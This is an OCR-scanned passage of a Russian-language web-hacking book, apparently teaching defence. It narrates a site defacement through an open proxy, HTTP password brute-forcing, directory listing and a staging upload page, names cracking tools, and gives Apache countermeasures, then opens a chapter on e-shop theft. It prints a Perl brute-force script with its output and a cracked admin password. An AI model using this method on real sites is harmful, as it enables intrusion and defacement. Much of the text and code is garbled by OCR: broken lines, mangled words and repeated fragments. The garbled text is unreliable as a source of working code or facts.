После получения HTTP-ответа с кодом 401 М эллори просмотрел весь свой каталог, в котором содержались написанные им сценарии на языке Perl, и нашел старый сценарий, предназначенный для подбора паролей HTTP. В этот сценарий он добавил библиотеку LWP (Library for WWW access with Perl). Для работы сценарию Perl требовалось два файла: users.txt с именами пользователей и words.txt со списком паролей. Кроме того, Мэллори написал функцию permute (), чтобы изменять пароли с помощью различных приемов, таких, как изменение регистра, изменение направления чтения, добавление цифр и символов и даже пре образование слов в так называемую хакерскую форму, когда символы е, 1 и t заменяются на 3, 1 и 7 соответственно. Сценарий нужно бьыо модифицировать, чтобы обеспечить возможность выполнения подбора паролей через proxy-сервер. Именно для этого и предназначалась библиотека LWP, в состав которой входят требующиеся методы.
Ниже приведена модифицированная версия сценария Мэллори.
01: f!/usr/bin/perl 02:
03: use LWP: :UserAgent;
04:
05: open (USERS, "users.txt") 11 die(*Be удается открыть файл с именами пользователей*)
06: open (WORDS, "words.txt") j | die(MHe удается открыть файл с паролями")
07: [users = <USERS>;
08: f voids = <WRDS>;
09: close(USERS);
close(WORDS);
pernute(lvords);
$ua = new LWP::UBerKgent;
13: $ua->pmxyU'http') «> *http://10.3«2.1:8001*};
14: $request = new BTTPisReqMSt •Get1, *http://127.0.0.1:80R;]
$i = 0;
flag = 0;
foreach $user (§users) {
chomp ($user);
foreach $vord (Ivords){
cbonp($vord);
22:printf("\nl5d Trying $uger,Qword ”,++$i);
$request->authorization_basic($user, $word);
24:$result 二 $ua->request(Srequest);
if($r««ult->i8 success) {
Sflags 1;"
print^SuccessJ\n";
last;
}
}
lastif$flag;
}
Приведенный сценарий достаточно прост. В строках 5—10 пользовательские имена и пароли загружаются в массивы. В строке 11 для изменения паролей вызывается функция peroute(), которой в качестве параметра передается массив Swords. В строках 12, 13 и 14 создается объект LWP, который инициализируется с использованием адреса и порта proxy-сервера, а также URL-адреса http://127.0.0.1:80. В двух вложенных циклах между строками 18 и 32 перебираются все комбинации имен пользователей и паролей. В строке 23 генерируется запрос на аутентификацию HTTP, а в строке 24 этот запрос передается proxy-серверу. В строке 25 проверяется, получен ли ответ 200 ОК. Если такой ответ получен, то сценарий подбора паролей завершает свою работу.
После запуска сценария имя пользователя и пароль удалось подобрать с 386-й попытки! Вот несколько последних строк, сгенерированных сценарием в процессе работы.
36飢365:366 t367:368:369:370:37b372:373:374:3751376:377:378:379:380:381:382:383:384:385:386:36飢365:366 t367:368:369:370:37b372:373:374:3751376:377:378:379:380:381:382:383:384:385:386:Trying аФппЛааш
36飢
365:
366 t
367:
368:
369:
370:
37b
372:
373:
374:
3751
376:
377:
378:
379:
380:
381:
382:
383:
384:
385:
386:
36飢
365:
366 t
367:
368:
369:
370:
37b
372:
373:
374:
3751
376:
377:
378:
379:
380:
381:
382:
383:
384:
385:
386:
Trying adnlnr7acne
Trying adnin,6aone
Trying admin r8acne
Trying admin г9асв»е
Trying admin r0acne
Trying adninJOaoM
Trying admin r 12acae
Trying fidmlnr123acne
Trying admin,Heine Trying admin, lacnw Trying admin ,аЬсасм
Trying Мп1п,рм.мм
Trying Main, acme
Trying adain, travel
Trying adaiflr TRAVEL
Trying admin,levert
Trying admin,Travel
Trying adain,trav31
Trying adsiln«travel Trying 4dmlnr7ravel Trying admin,trav31
Trying adnlni7rav31 Succeas! It
Cthack\aciM>
Пользовательскому имени admin соответствовал пароль 7rav31, который представлял собой **хакерскую'* форму записи слов travel. Мэллори загрузил файл паролей, в котором содержались слова acme, travel и некоторые другие распространенные пароли.
Итак, Мэллори справился с аутентификацией. Теперь он мог настроить броузер Netscape для использования proxy-сервера 10.3.2.1:8001 и воспользоваться учетной
записью admin/7rav31, чтобы проникнуть на Web-узел и приступить к его исследованию. На рис. 9.6 показано, как Мэллори вводит в броузере регистрационные данные при обращении к узлу http://127.0.0*l/ через proxy-сервер.
Рис. 9.6. Успешная аутентификация HTTP предотвращает получение очередного ответа с кодом 401
Просмотр каталогов
То, что произошло после этого, оказалось абсолютно неожиданным. После того как Мэллори отправил запрос через proxy-сервер и подобрал регистрационные данные, сервер стал беззащитным. Даже слишком беззащитным. Вместо Web - страницы сервер вьщал содержимое корневого каталога Web-доБсументов. Для Мэллори это было большой удачей, посколысу теперь ему не нужно было ничего угадывать. С этого момента он мог легко исследовать содержимое Web-узла, один каталог за другим. На рис. 9.7 показано содержимое корневого каталога сервера.
Обычно список каталогов отображается в том случае, если отсутствует Web- страница, используемая по умолчанию, такая, как index ・htffil. Если на сервере не от- клюиен режим отображения содержимого, а используемая по умолчанию страница отсутствует, то будет отображено содержимое корневого каталога документов. А Роб не позаботился об отключении этого режима.
В окне броузера отображается три каталога: /admin/, /images/ и /stage/. Сначала Мэллори решил просмотреть содержимое каталога /stage/ (рис. 9.8).
Вуаля! В этом каталоге содержалась точная копия Web-узла www.example.com. И тут Мэллори понял, что Web-узел туристической компании Acme Travel находился на стадии разработки. При этом все работы по проектированию выполнялись в офисе, а при необходимости модифицированные страницы пересылались на сервер провайдера. Теперь внимание Мэллори привлек каталог /admin/. Его содержимое показано на рис. 9.9.
Index of /
Lml »йЛ1Г1*Л
32“ W>crlDt4od
а
perenx Агестг,
xe-oeczooi
11:12
•<ь>*»/
еоекхи
UtU
金ЯМ/
14-0ес-2О01
12(91
■t・ge,
Х«>СОС-2001
11:39
Apache/1.3.12 Server at r^texyPort SO
Puc. 9.7. В окне броузера появился список каталогов
Рис. 9.8. Содержимое ката.юга /stage/
Рис. 9.9. Список файлов каталога /лЛа!п/
В этом каталоге содержалось два файла. Первый из них, replicate, sh, напоминает сценарий оболочки UNIX, а не CGI-сцснарий. Второй файл, sitengnt.php, — это сценарий PHP, предназначенный для управления Web-узлом.
При запросе на получение файла replicate.sh возвращается его полное содержимое. Это естественно, посколысу для Web-сервера сценарий оболочки является обычным текстовым файлом. Поэтому сервер возвращает его в неизменном виде. Вот содержимое файла replicate.sh:
“/bin/sb
t Сценаряй реаликдцяи г предмАЭяачешпгй для загрузи ИеЬ-стр&вяи на сервер промйдере
I Создан гob€example.соя
Сценарий запускается демоном cron для синхронизации Web-страниц
scp -qCr -i /home/гоЬ/.ssb/rBa_keys ../stage/* \
exanple^server326.ord•acmehosting•net:/example/
t добавить запись в файл журнала, если репликация прошла успешно
date >> /trap/replication.log
Этот сценарий используется для репликации содержимого Web-узла из каталога /stage/ на сервер acaehosting.net. Роб использовал команду scp с RSA-ключами дтя того, чтобы скопировать содержимое этого каталога на сервер server326.ord.acmehosting.net, где и размещается Web-узел www.exanple.cor.. На этом сервере есть учетная запись example, а все Web - страницы узла vww. example, сок содержатся в каталоге /example/. Кроме www.example.coin. на этом сервере находится много других Web-узлов. Использование
RSA-ключсй не позволило Мэллори зарегистрироваться непосредственно на сервере server326.ord.acmehosting.net.
Однако для Мэллори еще не все было потеряно. Поскольку содержимое Web- узла регулярно реплицировалось с использованием демона сгоп, значит, если изменить Web-страницы, находящиеся в каталоге /stage/, то они будут реплицированы на узел vu-w.example.сот.
Решить эту задачу помогает второй сценарий каталога /admin/. На рис. 9.10 показана страница sit emgmt. php.
Что же Мэллори увидел в окне броузера? Это Web-интерфейс для управления Web- страницами каталога /stage/. Роб создал эту страницу, чтобы штатному Web-дизайнеру не потребовалось знакомиться с прелестями использования команды scp для копирования страниц со своей рабочей станции на сервер. Сначала Роб объяснял Брук, как с использованием протокола FTP копировать Web-страницы на сервер. Однако после обнаружения изъяна в демоне vu-ftpd, он решил удалить FTP-ссрвср раз и навсегда.
Рис. 9.10. Web-страница sitemgmt.php
Загрузка модифицированных страниц
Именно интерфейс для управления Web-узлом и требовался Мэллори! Провозившись с ргоху-сервером и взломом учетной записи с использованием собственного сценария, он утолил жажду мести. Через час в распоряжении Мэллори было два файла: index.htxJ, который должен был заменить главную Web-страницу компании Acme Travel, Inc., и allyourbase.jpg, идея использования которого была навеяна старой популярной игрой.
На рис. 9.11 и 9.12 показано, как Мэллори загружал файлы на узел 10.3.2.1,
Рис. 9.11. Загрузка новой страницы index.html с использованием страницы sit&ogat.php
Вполне довольный собой, Мэллори решил посмотреть на новую Web-страницу. Как только демон cron запустит сценарий replicate.sh, Web-страница будет скопирована по адресу http: / /www. ехавр!е. com и месть Мэллори свершится.
Не вызывает сомнения тот факт, что в 4 утра демон cron запустил сценарий replicate.sh В результате Web-страницы Мэллори, а также остальное содержимое Web-узла были скопированы на Web-сервер провайдера. На рис. 9.13 представлена схема всей атаки в целом.
Пользователи, посетившие узел http: //www.example.com/ на следующий день, увидели Web-страницу, представленную на рис. 9.14.
Вскоре в офисе компании Acme Travel, Inc. произошел настоящий скандал. Роб попытался выяснить, как же все произошло. К счастью, Мэллори не получил доступ к серверу на уровне какого-либо пользователя или администратора. Он мог этого добиться, если бы воспользовался PHP- или CGI-сценариями, позволяющими получить доступ к командной оболочке через Web. Поскольку файлы журнала остались невредимыми, эту атаку удалось легко отследить вплоть до небольшой компании из СанФранциско, занимающейся предоставлением услуг Internet. Содержимое Web-узла проще всего было восстановить с резервных копий. Кроме того, необходимо было изменить конфигурацию сервера и задать правила фильтрации IP-пакетов, которые обеспечили бы блокировку всего запрещенного входного трафика.
acmetravel site management
upload web pages
|Ci\aeciSeciBeVellyo«bwe7jpg|Ci\aeciSeciBeVellyo«bwe7jpg
|Ci\aeciSeciBeVellyo«bwe7jpg
|Ci\aeciSeciBeVellyo«bwe7jpg
File name: af&owban.jpg He size: 31130 bytes File type: gge/jpe&
delete files
mmi^mV mage&/ afioulacma html admes htmi t-rtr»»'-' html contact us Mml
mmelmmelВзломщикВзломщикМаршрутизаторDSLМаршрутизаторDSLЗлоумышленник взламывает proxy-сервер компании и размещает Web-страницы в каталоге на сервере, предназначенном для хранения их промежуточных версийЗлоумышленник взламывает proxy-сервер компании и размещает Web-страницы в каталоге на сервере, предназначенном для хранения их промежуточных версийСодержимое каталога сервера подмененоСодержимое каталога сервера подменено
mmel
mmel
Взломщик
Взломщик
Маршрутизатор
DSL
Маршрутизатор
DSL
Злоумышленник взламывает proxy-сервер компании и размещает Web-страницы в каталоге на сервере, предназначенном для хранения их промежуточных версий
Злоумышленник взламывает proxy-сервер компании и размещает Web-страницы в каталоге на сервере, предназначенном для хранения их промежуточных версий
Содержимое каталога сервера подменено
Содержимое каталога сервера подменено
Puc. 9.12. Загрузка файла allyourbase.jpg с использованием страницы siS^gmt.php
Измененные страницы из каталога на сервере реплицируются на Web-узел
В полночь содержимое каталога, предназначенного для хранения промежуточных версий Web-страниц, реплицируется на основной Web-узел
Рис. 9.13. Этапы атаки на узел wv. example» con
Рис. Р. 74. Модифицированная главная страница Web-узла vw. ex&tple» сол
Какие ошибки были допущены
Подмена содержимого Web-узла www. exauple. com — достаточно необычная атака. В большинстве случаев хакеры используют уже готовые средства взлома, основанные на известном изъяне, получают привилегии суперпользователя и модифицируют Web- страницы, находящиеся на узле. Эта атака не была даже направлена на сервер, на котором содержались сами страницы. Злоумышленник обошелся тем, что взломал proxy-сервер, на котором находились Web-страницы, предназначенные для копирования на Web-сервер. Подмена Web-страниц, расположенных в рабочем каталоге, привела к тому, что содержимое Web-узла было подменено после вьшолнения автоматической репликации.
Администратор proxy-сервера принял некоторые превентивные меры против нежелательного трафика. Однако некоторые уязвимые места все же остались. Первым, и наиболее уязвимым, местом был HTTP-порт proxy-сервера. Он позволял использовать proxy-сервер для доставки HTTP-запросов во внутреннюю сеть.
Даже несмотря на то, что Web-узел был защищен механизмом аутентификации HTTP, злоумышленниБсу удалось легко обойти эту защиту. Он смог взломать пароль, воспользовавшись собственным сценарием автоматического перебора. В настоящее время доступно лишь несколько коммерческих программ подбора паролей, используемых в процессе HTTP-аутентификации. Ниже в этой главе будут рассмотрены две наиболее популярные программы из этого класса — Brutus и WcbCrackcr
Существенную помощь взломщибсу оказало также то, что, в отличие от большинства других серверов, на данном сервере не был отключен режим просмотра каталогов. Обычно при отсутствии Web - страницы, используемой по умолчанию, сервер не должен передавать броузеру перечень подкаталогов и файлов из каталога, к которому
осуществляется доступ. В данном же случае режим просмотра каталогов оставался включенным. В результате оказались незащищенными те области файлового пространства сервера, которые должны быть скрытыми. Примером может служить каталог /admin/, в котором содержался PHP-сценарий управления Web-узлом. Этот сценарий позволил взломщику загрузить измененные Web - страницы!
Известно не так много случаев, когда подмена содержимого Web-узла выполнялась необычным способом. Две из подобных атак связаны с подменой содержимого Web- узла журнала PC Week и узла www.apache.org. Их подробное описание можно найти в следующих статьях:
"The PC Week hack** — http: / /packetstornsecurity. nl/Web/pcweek/ jf s^pcweek. txt:
"How we defaced Apache” — http://packetstormsecurity.nl/papers/general/how. defaced・ apache♦org.txt.
Программы подбора паролей HTTP
Как уже упоминалось, среди всех средств, предназначенных для подбора данных HTTP-аутентификации "в лоб”, наиболее мощными являются утилиты Brutus и WcbCrackcr. Обе программы обладают большой скоростью работы, поскольку для параллельной проверки нескольких пар “имя пoльзoвaтeля/пapoль,, в них используется несколько потоков. Еще раз отметим, что HTTP ——это один из протоколов, который меньше всего защищен от подбора паролей "в лоб”,поскольку Web-серверы обычно рассчитаны на обработку большого числа запросов. Утилиты Brutus и WebCracker способны перебрать огромный список имен пользователей и паролей за считанные часы или даже минуты.
Brutus
Утилита Brutus работает под управлением Endows. Ее можно найти по адресу: http:/ /www .hoobie.net/brutus/. На самом деле эта утилита поддерживает много различных протоколов, и ее использование не ограничивается возможностью подбора паролей "в лоб” только для протокола HTTP. Среди других протоколов, поддерживаемых этой утилитой, можно выделить FTP, telnet, POP3 и SMB.
На рис. 9.15 показано главное окно программы Brutus. В этом диалоговом окне можно задать количество одновременных подключений, значение времени ожидания, выбрать метод HTTP и номер НТТР-порта.
Однако утилита Brutus не позволяет выполнять подбор пароля через proxy-сервер HTTP. Флажок Use Proxy обеспечивает возможность использования лишь ргоху- сервера SOCKS.
Интересным свойством программы является также возможность изменения строк паролей с использованием нескольких простых алгоритмов. На рис. 9.16 показано диалоговое окно, в котором можно задать параметры генерации паролей.
WebCracker 4.0
Утилиту WebCracker 4.0 можно получить по адресу: http://packetstormsecurity.org/ Crackers/^ebCraMO.zip. Она предназначена исключительно для подбора "в лоб” паролей HTTP и позволяет использовать proxy-сер вер HTTP.
На рис. 9.17 и 9.18 показано, как программу WebCracker можно настроить для реализации атаки Мэллори на Web-узел Acme Travel Inc., направленной на подбор пароля Web-сер вера, запущенного по адресу http://10.3.2.1/, с использованием ргоху- сервера http://10.3.2.1:8001/.
Рис. 9. /5. Программа Brutus
Рис. 9」6. Параметры генерации паролей программы Brutus
Рис. 9.17. Программа WcbCracke г позволяет выполнять подбор паролей с использованием ргоху- сервера HTTP
Рис. 9. / S. Настройка параметров proxy-сервера HTTP 6 программе И2» Cracker
В процессе работы в диалоговом окне утилиты WebCracker отображается список потоков, а также применяемые пользовательские имена и пароли. После нахождения удачной комбинации программа WebCracker завершает работу и отображает полученный результат, как показано на рис. 9.19.
Рис. 9.19. С использованием программы WebCracker учетная запись успешно взломана
Контрмеры против взлома Web-узла компании Acme Travel, Inc.
К предпосылкам успешной реализации такой атаки можно отнести следующие:
для успешной реализации атаки необходимо, чтобы внешние клиенты могли воспользоваться proxy-сервером для проникновения во внутреннюю сеть;
возможность получения пользовательского имени и пароля HTTP-аутентификации путем их подбора *в лоб";
возможность просмотра каталогов Web-сервера.
Отключение реверсивного перенаправления
Чтобы предотвратить то, что произошло с proxy- сервером компании Acme Travel, Inc,, необходимо отключить режим реверсивного перенаправления HTTP. Различные Web-серверы настраиваются по-разному. На сервере по адресу 10.3.2.1 был установлен Apache 1.3.12. В конфигурационном файле httpd.conf содержатся следующие директивы, предназначенные для связывания служб перенаправления с портом 8001: Listen 8001
<VirtuAlBost: _default_:B001>
ServerAdmin robeexample.com
DocunentRoot /usr/local/apache/htdocs_8001/
ServerName redproxy
BrrorLog logs/8001 -errorlog
Ctistoalog logs/8001-access_log common
ProxyRequeeta on
</Virtu alHost>
Директива Listen 8001 сообщает серверу о том, что порт 8001 необходимо прослушивать на обоих интерфейсах proxy-сервера, связанных с адресами 10.3.2.1 и 10.0.1.1. Для того чтобы ограничиться прослушиванием порта 8001 со стороны внутренней сети (10.0.1 »х) сервер Apache должен быть настроен таким образом, чтобы порт 8001 был связан только с интерфейсом внутренней сети 10.0.1.1. Другими словами, необходимо воспользоваться директивой Listen следующего вида:
Listen 10.10.1.1:8001
После этого порт 8001 нельзя будет выявить в процессе внешнего сканирования. Кроме того, в этом случае будет также блокироваться реверсивное перенаправление запросов, передаваемых с внешних узлов.
Использование более надежных паролей
Для усиления механизма аутентификации HTTP с использованием конфигурационных параметров сервера больше ничего нельзя сделать. Единственная эффективная контрмера заключается в использовании более надежных паролей, которые было бы не так просто подобрать *в лоб". Увеличение дайны пароля, использование алфавитно-цифровых и других символов разных регистров позволит значительно уменьшить вероятность реализации успешной атаки.
Большинство Web-серверов, в том числе и Apache, не позволяют блокировать учетные записи после нескольких неудачных попыток аутентификации и ограничивать
число попыток регистрации. Системный администратор должен обращать пристальное внимание на файлы журналов. В них может содержаться информация о большом количестве запросов на получение доступа к защищенному ресурсу и о передаче HTTP-ответов 401 Authorization Required. Это может свидетельствовать о том, что кто-либо предпринял попытбсу подобрать пользовательское имя и пароль.
Отключение режима просмотра каталогов
Режим просмотра каталогов должен быть всегда отклютен, если в нем нет острой необходимости. На Web-сервере компании Acme Travel. Inc. этот режим был вклюиен. Об этом свидетельствуют следующие строки из файла httpd.conf:
<Directory #/usr/local/apache/htdocsn>
Options Indexes Fol lows yuLinks
AllovOverride All
</Directory>
Puc. 9.20. В^ючение/отключение режима просмотра каталогов на сервере Ж
При использовании директивы Options Indexes и при отсутствии документа, предо ставляемого по умолчанию (index.ht»l), сервер Apache будет генерировать список файлов каталога и возвращать его клиентскому броузеру.
Практически все популярные Web-серверы обеспечивают возможность вклюте- ния/отключения режима просмотра каталога. На рис. 9.20 показано диалоговое окно параметров сервера IIS. При сбросе флажка Directory browsing режим просмотра каталога будет отклютен.
Резюме
По-видимому, к возникновению большинства изъянов приводят простые ошибки и упущения, допускаемые при настройке программного обеспечения. Во многих случаях подменить содержимое узла удается из-за того, что взломщики используют хорошо известные изъяны Web-серверов. На таких Web-узлах, как http: // alldas. о rg/, можно найти список Web-узлов, которые подверглись подмене, а также копию изме-
ненных страниц. Зачастую подобные атаки приводят к обнаружению новых дыр в подсистеме зашиты. Иногда взломщик или группа злоумышленников подменяют содержимое огромного количества Web-узлов одновременно. В этой главе была рассмотрена очень необычная атака. Цель злоумышленника заключалась в подмене содержимого Web-узла компании Acme Travel, Inc. Воспользовавшись Web-страницей, он без особых проблем мог разместить на сервере PHP- или CGI-сценарий и тем самым создать Ппотайную дверь” в системе Unix. После этого на сервере можно было бы выполнять произвольные команды.
ГЛАВА10
Кражи в электронных магазинах
Наиболее распространенные н стандартные ошибки являются следствием безразличия.
Генри Дэвид Торо (1817-1862)
Введение
С момента появления компьютерные системы использовались для управления серверными операциями и позволяли упростить вьшолнение повседневных задач служащими. Поскольку технологии постоянно развиваются, а развертывание систем становится все более дешевым, в коммерческих организациях компьютеры стали все больше и больше вовлекаться в процесс управления операциями. В начале 1990-х годов в большинстве крупных промышленных предприятий компьютеры и компьютерные сети стали настоящей информационной основой с огромным количеством приложений, которые были способны обрабатывать даже сложную бизнес-логику.
Благодаря доступности и простоте использования Internet распространение информации через Web стало очень популярным. Это позволило небольшим и средним предприятиям предоставить информацию о себе и своих изделиях для обозрения всему миру. Географическое местоположение магазина больше не играет существенной роли. Многочисленные каталоги магазинов стали появляться и в электронной форме. К концу 1990-х годов практически каждая крупная американская компания, вьшус- кающая товары для потребителей, имела свой Web-узел, на котором были представлены ее товары и услуги.
Поскольку Web-приложения стали интенсивно развиваться, специалисты в области торговли быстро поняли, что, кроме обычных магазинов, имеет смысл предложить покупателям и электронные, в которых через Internet можно заказывать и оплачивать необходимые товары. Так появился электронный торговый зал. Теперь компьютерные сети и приложения были достаточно развиты, чтобы обеспечить эффективную и надежную обработку денежных транзакций.
Технологическая революция прошлого десятилетия существенно повлияла на способы ведения бизнеса. Появились такие новые термины, как электронная коммерция (e-commerce) и электронный бизнес (e-business). 10)оме того, радикально изменилось общее направление развития коммерческой сферы и применяемые в ней подходы. Толчком к этим изменениям послужило большое количество новых технологий и стремительное развитие Internet. Всемирная сеть стала связующим звеном между объектами, реализующими бизнес-логику, и покупателями. Это позволило существенно расширить ассортимент предоставляемых услуг. Для того чтобы оставаться конкурентоспособными, компании начали менять свои краткосрочные и долгосрочные стратегии.
Для поддержки ключевых бизнес-стратегий такие компании, как IBM, BEA, Netscape, Sun и Microsoft, приступили к разработке различных строительных программных блоков, основанных на современных информационных технологиях. В результате владельцы бизнеса и менеджеры стали широко использовать эти технологии и вести торговлю через Internet. Поскольку новый электронный бизнес стал общедоступным, он привлек также и внимание злоумышленников. Что может быть выгоднее, чем проникновение в наиболее прибыльные системы? Теперь объектом для разбойничьих нападений стала информационная супермагистраль. В этой главе описываются трюки, используемые Internet-грабителями для того, чтобы незаметно похитить что-нибудь из электронных магазинов. Подобные преступления и называются электронным воровством (t<e-shoplifting,,).
Структура электронного магазина
В электронной коммерции можно выделить два основных элемента: бизнес-логику и технологию. Надежная бизнес-логика и технология могут принести успех в любой области электронной коммерции, тогда как их изъяны способны привести к полному
провалу. Преимущества и недостатки бизнес-логики могут быть самыми разнообразными, поэтому их полное описание не входит в задачи этой книги. Основное внимание уделяется технологическим элементам электронной коммерции.
На рис. 10.1 и 10.2 показаны схемы традиционной розничной торговли и электронной коммерции.
Рис. 10. 7. Схема традиционной розничной торговли
Рис. 10.2. Элементы электронного магазина
Традиционным интерфейсом между компанией и покупателями является торговый зал магазина. ПоБсупатели заходят в магазин и выбирают товары, которые они хотят приобрести. Ознакомившись с предлагаемым ассортиментом продувдии и выбрав все необходимые товары, покупатели подходят к кассе и оплачивают покупку.
Точно так же фунвдионирует и электронный магазин. В его состав входит пторго- вый зал”, или внешний интерфейс (store front-end), электронная: торговая тележка, или корзина (shopping cart), и ппункт оплаты” (checkout station).
Торговый зал
В торговом зале электронного магазина демонстрируются предлагаемые товары. При желании покупатель может изучить их более подробно и узнать цену. Используемые в данном случае технологии главным образом должны обеспечить возможность беспрепятственно перемещаться по торговому залу и предоставить всю необходимую информацию. Как правило, для реализации электронного торгового зала используется динамический HTML.
Электронная торговая тележка
Торговая тележка используется для поддержки текущего сеанса обслуживания клиента и позволяет собирать необходимые товары перед их оплатой. Для реализации этого компонента используются технологии, позволяющие осуществлять управление сеансами, отслеживать их текущее состояние и взаимодействовать с внешним интерфейсом. Для программной реализации электронной торговой тележки обычно используются такие технологии, как Perl, PHP или ASP, либо уже готовые модули, содержащиеся в откомпилированных двоичных файлах или объектно - ориентированных компонентах, например классах Java.
Пункт оплаты
Это подсистема обработки платежей, которая связывает электронный магазин с банком или учреждением, занимающимся обработкой платежей по кредитным карточкам. Для обработки денежных транзакций существуют специализированные системы (предоставляемые кредитными учреждениями), которые позволяют оплатить выбранные услуги или товары. Кроме того, подсистема обработки платежей гарантирует, что заказ на доставку приобретенных товаров будет обработан подсистемой управления складом, и инициирует процесс доставки товаров. После завершения обработки каждой транзакции количество товара в электронном магазине изменяется.
База данных
В базе данных хранится информация о приобретенных товарах, состоянии склада, финансовых транзакциях, покупателях и т.п.
Объединение всех элементов
На рис. 10.3 показано, как различные элементы электронного магазина объединяются вместе.
Эволюция электронных магазинов
Рассмотрим историю развития электронных магазинов в аспекте используемых технологий. Для реализации самых ранних электронных магазинов использовались сценарии на таких языках, как Perl, которые выполнялись на Web-сервере и взаимодействовали с однородными файлами, а не с базами данных. Подобные системы были гетерогенными, так как в них использовались отдельные, не связанные друг с другом компоненты. Поскольку Web-технологии получали все большее развитие, такие компании, как Microsoft и Sun Microsystems, приступили к разработке гомогенных контуров, предназначенных для создания
приложений электронной коммерции. Позже к ним присоединились и другие компании. Постепенно электронные магазины стали многоуровневыми приложениями, в состав которых входило промежуточное программное обеспечение и двоичные компоненты среднего уровня, такие, как фильтры IS API и компоненты Java.
Рис. 10.3. Строительные блоки электронного магазина
Интеграция с базами данных позволила использовать в приложениях электронной коммерции все преимущества таких реляционных баз данных, как SQL-сервер компании Microsoft, Oracle и MySQL.
Стали популярными технологии DHTML и Flash, благодаря которым процесс покупок стал гораздо привлекательнее и приятнее. Однако на каждой стадии развития технологий появлялись новые изъяны, а атаки взломщиков становились все более масштабными. Случаев, связанных с воровством в электронных магазинах, становилось все больше. В настоящее время кражи информации и денег в Web стали настолько частыми, что больше им нельзя не уделять внимания.
Каким же образом хакеры находят лазейки в системах электронной коммерции? Ничто не происходит сразу. Всякий раз при установке или обновлении интерактивного приложения объединяются различные технологии. Сфера коммерческой деятельности развивается эволюционно, чего нельзя сказать о программном обеспечении (которое изменяется дискретно). Одновременное использование различных технологий и необходимость их согласования друг с другом приводят к тому, что в подсистеме защиты приложений в течение некоторого времени остаются различные уязвимые места.
Ниже перечислены основные причины наличия изъянов в приложениях электронной коммерции.
Недостаточная проверка входных данных.
Неправильное использование данных cookie.
Недостаточное отслеживание сеансов и состояний.
Предположение о том, что код HTML и клиентские сценарии нельзя модифицировать.
Некорректная интеграция с базой данных.
Изъяны в программном обеспечении сторонних производителей.
Все эти причины будут проанализированы в оставшейся части главы при рассмотрении деятельности одной компании, которая решила вести торговлю через Web.
Кражи в электронном магазине компании Acme Fashions, Inc.
Компания Acme Fashions, Inc. занималась розничной продажей одежды через сеть магазинов, разбросанных по всей стране. В магазины товары поступали с центрального склада. Кроме того, Acme Fashions продавала товары по каталогу и принимала заказы от поБсупателей по телефону. В начале 1990-х годов Acme Fashions начала использовать систему Oracle, на базе которой была развернута система управления складом и доставкой товаров. Это позволило компании значительно расшириться.
Поскольку в середине 1990-х годов популярность Web значительно возросла, вице-президент компании Acme Fashions по вопросам маркетинга решил разместить информацию о товарах на собственном Web-узле http: //ww. acme-fashions. сок. Для создания электронного каталога группа маркетинга принялась усердно создавать страницы HTML. Спустя несколько месяцев после развертывания Web-узла объем продаж вырос в три раза. Компания сделала свой первый шаг к использованию электронного магазина.
Установка электронного магазина компании Acme Fashions
В 1999 году компания Acme Fashions, Inc. широко распахнула двери для всего мира, решив вести бизнес через World Wide Web. Руководители компании спешили поскорее развернуть свой Web-узел, чтобы успеть получить прибыль уже во время рождественских праздников 2000 года. Поскольку крайний срок стремительно приближался, для создания электронного магазина было решено привлечь консалтинговую компанию, специализирующуюся на разработке программного обеспечения для электронной коммерции.
Для того чтобы презентация нового Web-узла состоялась 1 ноября 2000 года, и специалисты консалтинговой компании, и группа разработчиков Acme Fashions трудились день и ночь. Они хотели объединить созданный ранее электронный каталог с существующей коммерческой версией подсистемы выбора товаров (торговой тележкой). В конце концов все проблемы были решены и система была запущена. Ее архитектура показана на рис. 10.4.
Однако по мере роста объема продаж после появления Web-узла в компанию Acme Fashions стали поступать жалобы. Большинство из них касались бухгалтерии и отдела управления товарами на складе. В бухгалтерию часто передавались жалобы о том, что некоторые товары продаются по более низким ценам по сравнению с теми, которые были указаны в каталоге, однако о каких-либо скидках ничего не было известно. Служащие, занимающиеся доставкой, были в полной растерянности при получении заказа на доставку отрицательного количества товара. Из-за сумасшедшего темпа, характерного для рождественских каникул, все жалобы были отнесены к разряду не о бъяс нимых и не принимались во внимание. После того как общая потерянная сумма достигла почти $100 000 и все попытки поиска источника проблемы ни к чему не привели, руководство компании обратилось к группе экспертов в области безопасности.
Рис. 10.4. Электронный магазин компании Acme Fashions, Inc.Рис. 10.4. Электронный магазин компании Acme Fashions, Inc.
Рис. 10.4. Электронный магазин компании Acme Fashions, Inc.
Рис. 10.4. Электронный магазин компании Acme Fashions, Inc.
Поиск проблемы
Торговый зал (storefront) электронного магазина компании Acme находился по адресу http:/ /www. acme-fashions.соти был реализован на базе следующихтехнологий.
Операционная системаWeb-серверИнтерактивный каталог Вспомогательная база данных Подсистема выбора товаровОперационная системаWeb-серверИнтерактивный каталог Вспомогательная база данных Подсистема выбора товаровMicrosoft Windows NT 4-0
Операционная система
Web-сервер
Интерактивный каталог Вспомогательная база данных Подсистема выбора товаров
Операционная система
Web-сервер
Интерактивный каталог Вспомогательная база данных Подсистема выбора товаров
Microsoft Internet Information Server (IIS) 4.0
Шаблон и страницы ASP
Microsoft Access 2.0
Торговая тележка Shopcart.exe
Для создания каталога в формате HTML использовались шаблоны и страницы ASP. Для автоматической генерации HTML-страниц каталога использовалась база данных FoxPro. Затем страницы помещались в базу данных Microsoft Access и связывались со страницами ASP. На Web-сервере была установлена подсистема выбора товаров ShopCart.exe (торговая тележка). Для генерации кода HTML со ссылками на подсистему выбора товаров были разработаны шаблоны ASP. Торговая тележка использовалась для хранения информации о выбранных товарах. Во время разработки такое решение казалось самым легким и быстрым путем создания электронного магазина.
В подсистеме выбора товаров ShopCart.exe существовал свой собственный модуль управления сеансами, который поддерживал данные cookie и серверные идентификаторы сеанса. Поскольку модифицировать подсистему ShopCart.exe было невозможно, задача проверки входных данных полностью лежала на сценариях JavaScript, выполняемых в броузерах покупателей.
Группа экспертов приступила к поиску всех возможных точек входа в систему и ее взлома. После изучения приложения и основных принципов функционирования Web-узла было обнаружено несколько интересных ошибок, связанных с обеспечением безопасности.
Скрытая опасность скрытых полей
В реализации подсистемы выбора товаров (торговой тележки) группа экспертов обнаружила огромный изъян. Для связывания цены и товара использовались скрытые дескрипторы страниц HTML. На рис. 10.5 показана страница, на которой представлены рубашки из каталога, расположенного по адресу http://vwv.ac!ne>fashions.com/.
Рис. 10.5. Страница каталога, взятая по адресу http: //wvacme- fashions, сот/
С каждой рубашкой связана форма, позволяющая указать необходимое количество рубашек и поместить их в электронную торговую тележку. Проанализировав исходный код (рис. 10.6), эксперты увидели, что изъян обусловлен несколькими последними строками HTML-кода.
